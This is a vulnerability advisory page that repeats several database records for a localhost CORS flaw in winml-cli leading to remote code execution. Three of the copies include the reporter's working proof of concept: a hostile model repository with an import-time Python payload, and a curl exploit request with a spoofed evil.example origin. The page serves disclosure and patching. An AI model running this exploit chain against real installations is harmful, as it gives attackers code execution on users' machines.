CVE-2026-84452
Windows ML CLI: CORS misconfig enables localhost RCE
Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.6
Windows ML CLI: CORS misconfig enables localhost RCE
Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.
- Record
CVE-2026-84452- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-942, CWE-306
- Updated
- 2026-11-02
EUVDEUVD-2026-70264
8.6
Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.
- Record
EUVD-2026-70264- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-96p9-rh4f-92cf
8.6
Windows ML CLI: CORS misconfig enables localhost RCE
Case Description:
MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).
Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.
serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.
Reported Repro Steps:
- Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)
cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server
Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000
Linux needs a stub for the Windows-only PDH module (no security relevance):
cat > /tmp/poc/serve.py <<'EOF'
import os, sys, types, uvicorn
m = types.ModuleType("winml.modelkit.session.monitor._pdh")
class PdhPoller:
def init(s,*a,**k): pass
def start(s,*a,**k): pass
def stop(s,*a,**k): pass
def poll(s,*a,**k): return {}
def sample(s,*a,**k): return {}
def close(s,*a,**k): pass
m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False
sys.modules["winml.modelkit.session.monitor._pdh"] = m
from winml.modelkit.serve.cli_api import app
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
EOF
cd /winml-poc && PWN_MARKER=/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &
sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up
4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED
HTTP/1.1 200 OK
access-control-allow-origin: *
ARBITRARY CODE EXECUTION
time=2026-08-17 11:24:35
user=shrini host=Shrinivasan pid=11616
- Record
GHSA-96p9-rh4f-92cf- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-306, CWE-942
- Updated
- 2026-11-02
NVD
8.6
Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.
- Record
CVE-2026-84452- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-306, CWE-942
- Updated
- 2026-11-02
OSV
8.6
Windows ML CLI: CORS misconfig enables localhost RCE
Windows ML CLI is a command line tool for building portable, performant, and high-quality AI models for Windows ML. Prior to 0.4.0, the src/winml/modelkit/serve/cli_api.py component exposes WinML CLI commands through a localhost HTTP API without authentication and configures the allow_origins setting as a wildcard in both src/winml/modelkit/serve/cli_api.py and src/winml/modelkit/serve/app.py. A malicious website loaded by a user can send cross-origin requests to /v1/cli/build or /v1/cli/config and set the trust_remote_code parameter to true, which is converted to the --trust-remote-code command-line flag without validation. This reaches AutoConfig.from_pretrained with trust_remote_code=True in src/winml/modelkit/loader/_autoconfig.py and imports Python code from an attacker-controlled model repository, resulting in arbitrary code execution as the server user. This issue is fixed in version 0.4.0.
- Record
CVE-2026-84452- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-306, CWE-942
- Updated
- 2026-11-02
OSVGHSA-96p9-rh4f-92cf
8.6
Windows ML CLI: CORS misconfig enables localhost RCE
Case Description:
MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).
Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.
serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.
Reported Repro Steps:
- Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)
cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server
Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000
Linux needs a stub for the Windows-only PDH module (no security relevance):
cat > /tmp/poc/serve.py <<'EOF'
import os, sys, types, uvicorn
m = types.ModuleType("winml.modelkit.session.monitor._pdh")
class PdhPoller:
def init(s,*a,**k): pass
def start(s,*a,**k): pass
def stop(s,*a,**k): pass
def poll(s,*a,**k): return {}
def sample(s,*a,**k): return {}
def close(s,*a,**k): pass
m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False
sys.modules["winml.modelkit.session.monitor._pdh"] = m
from winml.modelkit.serve.cli_api import app
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
EOF
cd /winml-poc && PWN_MARKER=/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &
sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up
4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED
HTTP/1.1 200 OK
access-control-allow-origin: *
ARBITRARY CODE EXECUTION
time=2026-08-17 11:24:35
user=shrini host=Shrinivasan pid=11616
- Record
GHSA-96p9-rh4f-92cf- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-306, CWE-942
- Updated
- 2026-11-02
OSVPYSEC-2026-3944
8.6
Windows ML CLI: CORS misconfig enables localhost RCE
Case Description:
MSRC Notes: Attachments: 1 file(s) attached (1 mp4) Summary: The vulnerability lies in the 'serve/cli_api.py' component of the 'winml-cli' project, which exposes all winml CLI commands over HTTP without authentication. Although it binds to localhost by default, it sets 'allow_origins' to a wildcard, allowing any website to interact with the endpoint. This, combined with the '--trust-remote-code' flag in 'build' and 'config' commands, enables an attacker to execute arbitrary code by hosting a malicious model repository. The root cause is the lack of proper authentication and validation of the 'trust_remote_code' parameter, leading to Remote Code Execution (RCE).
Finder Description: WARNING: Original content contained invalid characters. Please see original submission in the event that the characters removed are relevant for the PoC.
serve/cli_api.py exposes every winml CLI command over HTTP with no authentication. That's defensible on its own - it binds 127.0.0.1 by default, so the audience is this machine. But it also sets allow_origins=["*"] (cli_api.py:150, duplicated at app.py:219), and the victim's browser is a local process: the wildcard lets any website call the endpoint and read the reply, erasing the boundary the loopback bind draws.
build and config both accept --trust-remote-code, and a JSON true becomes that flag unfiltered. An attacker-named model repo reaches AutoConfig.from_pretrained(..., trust_remote_code=True) (_autoconfig.py:191), where transformers imports Python from that repo - RCE as the server user from any page the victim loads. The payload runs on import, so the command's exit_code: 1 is irrelevant.
Reported Repro Steps:
- Setup
git clone -q https://github.com/microsoft/winml-cli.git ~/winml-poc && cd ~/winml-poc && mkdir -p temp /tmp/poc/evil/pwn python3 -m pip install -q --target /tmp/poc/deps onnx onnxruntime transformers fastapi uvicorn click 2. Hostile model repo (payload is module-level → runs on import)
cat > /tmp/poc/evil/pwn/config.json <<'EOF' {"model_type":"pwn","auto_map":{"AutoConfig":"configuration_pwn.PwnConfig"}} EOF cat > /tmp/poc/evil/pwn/configuration_pwn.py <<'EOF' import getpass, os, socket, time from transformers import PretrainedConfig with open(os.environ["PWN_MARKER"], "w") as f: f.write(f"ARBITRARY CODE EXECUTION\ntime={time.strftime('%F %T')}\n" f"user={getpass.getuser()}\nhost={socket.gethostname()}\npid={os.getpid()}\n") class PwnConfig(PretrainedConfig): model_type = "pwn" EOF 3. Start server
Windows: python -m uvicorn winml.modelkit.serve.cli_api:app --host 127.0.0.1 --port 8000
Linux needs a stub for the Windows-only PDH module (no security relevance):
cat > /tmp/poc/serve.py <<'EOF'
import os, sys, types, uvicorn
m = types.ModuleType("winml.modelkit.session.monitor._pdh")
class PdhPoller:
def init(s,*a,**k): pass
def start(s,*a,**k): pass
def stop(s,*a,**k): pass
def poll(s,*a,**k): return {}
def sample(s,*a,**k): return {}
def close(s,*a,**k): pass
m.PdhPoller = PdhPoller; m.PDH_AVAILABLE = False
sys.modules["winml.modelkit.session.monitor._pdh"] = m
from winml.modelkit.serve.cli_api import app
uvicorn.run(app, host="127.0.0.1", port=8000, log_level="warning")
EOF
cd /winml-poc && PWN_MARKER=/winml-poc/temp/PWNED PYTHONPATH=src:/tmp/poc/deps setsid nohup python3 /tmp/poc/serve.py >/tmp/poc/log 2>&1 </dev/null &
sleep 8; until curl -sf -o /dev/null -m 1 http://127.0.0.1:8000/openapi.json; do sleep 1; done; echo up
4. Exploit
curl -s -D- -o /dev/null -X POST http://127.0.0.1:8000/v1/cli/build
-H 'Origin: https://evil.example' -H 'Content-Type: application/json'
-d '{"args":{"model":"/tmp/poc/evil/pwn","output_dir":"/tmp/poc/out","trust_remote_code":true}}'
| grep -iE '^HTTP|^access-control-allow-origin'
cat ~/winml-poc/temp/PWNED
HTTP/1.1 200 OK
access-control-allow-origin: *
ARBITRARY CODE EXECUTION
time=2026-08-17 11:24:35
user=shrini host=Shrinivasan pid=11616
- Record
PYSEC-2026-3944- CVSS 4.0
- 8.6 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-84452 is a high vulnerability (CVSS 8.6) in Microsoft Winml-cli, published September 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.61%, the 76th percentile. Fixed in winml-cli 0.4.0.
References
github.com/microsoft/winml-cli/security/advisories/GHSA-96p9-rh4f-92cf
github.com/microsoft/winml-cli/pull/1321
github.com/microsoft/winml-cli/commit/f4073e0ef4700a25b623487e7e45c421ca0b9993
nvd.nist.gov/vuln/detail/CVE-2026-84452
github.com/advisories/GHSA-96p9-rh4f-92cf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/84xxx/CVE-2026-84452.json
github.com/microsoft/winml-cli
pypi.org/project/winml-cli